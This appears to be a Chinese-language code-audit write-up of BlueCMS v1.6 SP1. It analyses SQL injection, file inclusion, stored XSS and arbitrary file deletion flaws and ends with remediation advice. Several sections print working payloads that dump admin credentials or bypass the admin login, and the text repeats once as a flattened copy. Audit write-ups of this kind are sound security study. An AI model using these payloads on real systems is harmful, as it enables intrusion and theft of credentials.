php代码审计之bluecms
字数 1527 2025-08-15 21:33:57

BlueCMS v1.6 SP1 代码审计报告

一、审计环境准备

  • PHP环境:PHPStudy + PHP 5.2
  • 目标系统:BlueCMS v1.6 SP1
  • 审计工具:Seay代码审计系统、RIPS、Xdebug

二、审计方法

  1. 敏感关键字定位:回溯参数传递过程
  2. 功能点审计:通读功能代码(黑盒+白盒结合)
  3. 重点审计功能
    • 系统重装
    • 文件上传
    • 文件管理
    • 登录认证
    • 密码找回
    • 订单支付

三、漏洞分析

3.1 ad_js.php SQL注入漏洞

漏洞位置ad_js.php

漏洞分析

  • 包含common.inc.php配置文件,对$_POST$_GET$_COOKIES$_REQUEST进行GPC处理
  • ad_js.php使用数字型查询,未使用单引号,可绕过转义
  • getone()函数无过滤直接执行SQL语句

漏洞利用POC

http://www.blue.com/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(admin_name,0x7e,pwd) from blue_admin--+

3.2 comment.php SQL注入漏洞

漏洞位置comment.php + common.fun.php

漏洞分析

  • getip()函数从HTTP_CLIENT_IPHTTP_X_FORWARDED_FOR等获取IP
  • 配置文件中遗漏对$_SERVER变量的过滤
  • 评论功能中IP直接拼接到SQL语句

漏洞利用POC

X-Forwarded-For: 1.1.1.1','1'1', '1', '1', '6', (select group_concat(admin_name,":",pwd) from blue_admin), '1613538242', '1.1.1.1

3.3 文件包含漏洞

漏洞位置user.php pay功能

漏洞分析

  • $_POST['pay']未做安全检测直接拼接
  • 尝试截断失败(GPC转义了%00)
  • 可能的截断方式:
    • 00截断(PHP<5.3.8且magic_quotes_gpc=Off)
    • 点号截断(仅Windows,PHP 5.2.17)
    • ./截断(PHP 5.2.17)

3.4 用户注册XSS漏洞

漏洞位置user.php do_reg功能

漏洞分析

  • 后台会员管理可查看会员信息
  • 前台注册时邮箱字段未过滤XSS
  • 用户名长度限制4-16字符,邮箱仅前端验证

漏洞利用

  • 通过邮箱字段插入XSS代码
  • 管理员查看会员信息时触发

3.5 用户注册SQL注入

漏洞位置user.php do_reg功能

漏洞分析

  • 满足宽字节注入条件
  • 配置文件重写了POST方法,需注意单引号处理

漏洞利用POC

referer=&user_name=user03&pwd=user03&pwd1=user03&email=user03%401.com%df',1,1),(100, 0x757365723034, md5(123456), (select concat(admin_name,pwd) from blue_admin),1,1)#&safecode=xcpn&from=&act=do_reg

3.6 后台登录SQL注入

漏洞位置admin/login.php do_login功能

漏洞分析

  • check_admin函数存在宽字节注入
  • 用户名和密码直接拼接到SQL语句

漏洞利用POC

admin_name=admin%df'or 1=1#&admin_pwd=sssss&submit=%B5%C7%C2%BC&act=do_login

3.7 任意文件删除漏洞

漏洞位置user.php edit_user_info功能

漏洞分析

  • face_pic3参数未过滤
  • 直接拼接BLUE_ROOT后执行unlink
  • BLUE_ROOT定义为当前文件所在路径

漏洞利用

  • 通过修改用户信息功能,控制face_pic3参数删除任意文件

四、安全建议

  1. 输入过滤

    • 对所有用户输入进行严格过滤和转义
    • 统一处理$_SERVER变量
  2. SQL防护

    • 使用预处理语句
    • 对数字型参数强制类型转换
  3. 文件操作

    • 限制文件操作路径
    • 验证文件操作权限
  4. XSS防护

    • 对所有输出进行HTML实体编码
    • 实施严格的CSP策略
  5. 会话管理

    • 加强会话固定防护
    • 使用安全的Cookie设置

五、总结

BlueCMS v1.6 SP1存在多处安全漏洞,主要问题集中在:

  • 未充分过滤用户输入
  • SQL语句拼接方式不安全
  • 文件操作缺乏安全限制
  • 会话管理不严谨

建议开发者全面审查代码,实施上述安全建议,特别是对用户输入的严格过滤和SQL查询的预处理改造。

BlueCMS v1.6 SP1 代码审计报告 一、审计环境准备 PHP环境:PHPStudy + PHP 5.2 目标系统:BlueCMS v1.6 SP1 审计工具:Seay代码审计系统、RIPS、Xdebug 二、审计方法 敏感关键字定位 :回溯参数传递过程 功能点审计 :通读功能代码(黑盒+白盒结合) 重点审计功能 : 系统重装 文件上传 文件管理 登录认证 密码找回 订单支付 三、漏洞分析 3.1 ad_ js.php SQL注入漏洞 漏洞位置 : ad_js.php 漏洞分析 : 包含 common.inc.php 配置文件,对 $_POST 、 $_GET 、 $_COOKIES 和 $_REQUEST 进行GPC处理 但 ad_js.php 使用数字型查询,未使用单引号,可绕过转义 getone() 函数无过滤直接执行SQL语句 漏洞利用POC : 3.2 comment.php SQL注入漏洞 漏洞位置 : comment.php + common.fun.php 漏洞分析 : getip() 函数从 HTTP_CLIENT_IP 和 HTTP_X_FORWARDED_FOR 等获取IP 配置文件中遗漏对 $_SERVER 变量的过滤 评论功能中IP直接拼接到SQL语句 漏洞利用POC : 3.3 文件包含漏洞 漏洞位置 : user.php pay功能 漏洞分析 : $_POST['pay'] 未做安全检测直接拼接 尝试截断失败(GPC转义了%00) 可能的截断方式: 00截断(PHP<5.3.8且magic_ quotes_ gpc=Off) 点号截断(仅Windows,PHP 5.2.17) ./截断(PHP 5.2.17) 3.4 用户注册XSS漏洞 漏洞位置 : user.php do_ reg功能 漏洞分析 : 后台会员管理可查看会员信息 前台注册时邮箱字段未过滤XSS 用户名长度限制4-16字符,邮箱仅前端验证 漏洞利用 : 通过邮箱字段插入XSS代码 管理员查看会员信息时触发 3.5 用户注册SQL注入 漏洞位置 : user.php do_ reg功能 漏洞分析 : 满足宽字节注入条件 配置文件重写了POST方法,需注意单引号处理 漏洞利用POC : 3.6 后台登录SQL注入 漏洞位置 : admin/login.php do_ login功能 漏洞分析 : check_admin 函数存在宽字节注入 用户名和密码直接拼接到SQL语句 漏洞利用POC : 3.7 任意文件删除漏洞 漏洞位置 : user.php edit_ user_ info功能 漏洞分析 : face_pic3 参数未过滤 直接拼接 BLUE_ROOT 后执行 unlink BLUE_ROOT 定义为当前文件所在路径 漏洞利用 : 通过修改用户信息功能,控制 face_pic3 参数删除任意文件 四、安全建议 输入过滤 : 对所有用户输入进行严格过滤和转义 统一处理 $_SERVER 变量 SQL防护 : 使用预处理语句 对数字型参数强制类型转换 文件操作 : 限制文件操作路径 验证文件操作权限 XSS防护 : 对所有输出进行HTML实体编码 实施严格的CSP策略 会话管理 : 加强会话固定防护 使用安全的Cookie设置 五、总结 BlueCMS v1.6 SP1存在多处安全漏洞,主要问题集中在: 未充分过滤用户输入 SQL语句拼接方式不安全 文件操作缺乏安全限制 会话管理不严谨 建议开发者全面审查代码,实施上述安全建议,特别是对用户输入的严格过滤和SQL查询的预处理改造。